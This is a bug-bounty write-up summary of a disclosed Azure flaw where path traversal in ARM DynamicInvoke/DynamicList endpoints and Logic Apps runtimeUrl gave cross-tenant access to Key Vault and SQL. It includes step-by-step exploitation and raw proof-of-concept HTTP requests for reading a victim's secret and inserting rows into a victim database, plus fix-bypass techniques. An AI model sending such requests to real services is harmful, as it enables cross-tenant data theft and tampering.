# Azure’s Weakest Link - Five Full Cross-Tenant Compromises

Path traversal and runtimeUrl validation flaws in Azure API Connections let any tenant invoke another tenant's connection, reading Key Vaults and writing to SQL databases.

- Payout: $200,000
- Severity: critical
- Program: Microsoft
- Disclosed: 2026-10-30
- Write-up quality: 9/10
- Original: https://www.binarysecurity.no/posts/2026/10/one-root-case
- Library page: https://bugbountylibrary.com/r/blog%3Abinarysecurity-no-posts-2026-10-one-root-case
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access impact:privesc kind:bounty platform:blog sev:critical tech:azure technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** ARM DynamicInvoke/DynamicList endpoints and Logic Apps host.api.RuntimeUrl
**Root cause:** ARM forwards requests to a shared APIM instance holding rights to all connections, so path traversal in the request path selects a victim connection; later fixes validated paths/URLs before normalization or only blacklisted specific endpoints.
**Steps:**
1. Create own API Connection (e.g. Key Vault) and obtain ARM bearer token
2. POST to `/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview` with body `{"request":{"method":"get","path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/<victimConnId>/secrets/victimsecret/value"}}`
3. Observe victim secret returned in response body
4. After fix, use undocumented `DynamicList` endpoint with `dynamicInvocationDefinition.parameters` splitting `..`/`..`/`sql`/`<connId>`/`v2`/`datasets`/`<victimserver,db>`/`query`/`sql` and a `query` value to run arbitrary SQL
5. Alternatively, in a Consumption Logic App workflow set `host.api.RuntimeUrl` to a victim connection's apihub URL ending in azure-apihub.net
6. Bypass the exact-match fix by exploiting validation-before-normalization so the runtime URL matches own connection but APIM resolves to victim
**How found:** Extracted ARM resource code from a Standard Logic App host via SSH, found the blacklist fix applied only to DynamicInvoke and discovered four undocumented sibling endpoints; later reasoned that Consumption Logic Apps lack a managed identity yet can use Version 1 connections, implying implicit access gated only by input validation, then searched the codebase for accepted parameters and found host.api.RuntimeUrl.
**Exploitation:** Attacker with any Azure subscription creates a connection and calls ARM DynamicInvoke/DynamicList (or a Consumption Logic App with host.api.RuntimeUrl) so the shared APIM uses the victim connection's stored token/key against the victim backend, yielding cross-tenant read/write on Key Vault, Azure SQL, Jira, Salesforce, etc.
**Escalation:** Chained endpoint discovery (four undocumented Dynamic* functions) and validation-order bug to re-enable the original traversal after Microsoft's fixes.
**Insight:** When a fix is a blacklist on one endpoint name, enumerate sibling handlers on the same route; and when a platform validates a URL/path, test whether validation runs before or after normalization so the checked value differs from the value actually fetched.

## Proof of concept (copied exactly from the original report)

**DynamicInvoke path traversal reads victim Key Vault secret**

```
POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
 "request":{
 "method":"get",
 "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
```

**DynamicList cross-tenant SQL write payload**

```
POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json

{
 "dynamicInvocationDefinition": {
 "operationID": "nine",
 "parameters": {
 "one": {
 "value": ".."
 },
 "two": {
 "value": ".."
 },
 "three": {
 "value": "sql"
 },
 "four": {
 "value": "88d28f5ff7b642cfb91df184938d074c"
 },
 "five": {
 "value": "v2"
 },
 "six": {
 "value": "datasets"
 },
 "seven": {
 "value": "victimservice.database.windows.net,VictimDatabase"
 },
 "eigth": {
 "value": "query"
 },
 "nine": {
 "value": "sql"
 },
 "query": {
 "value": {
 "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
```

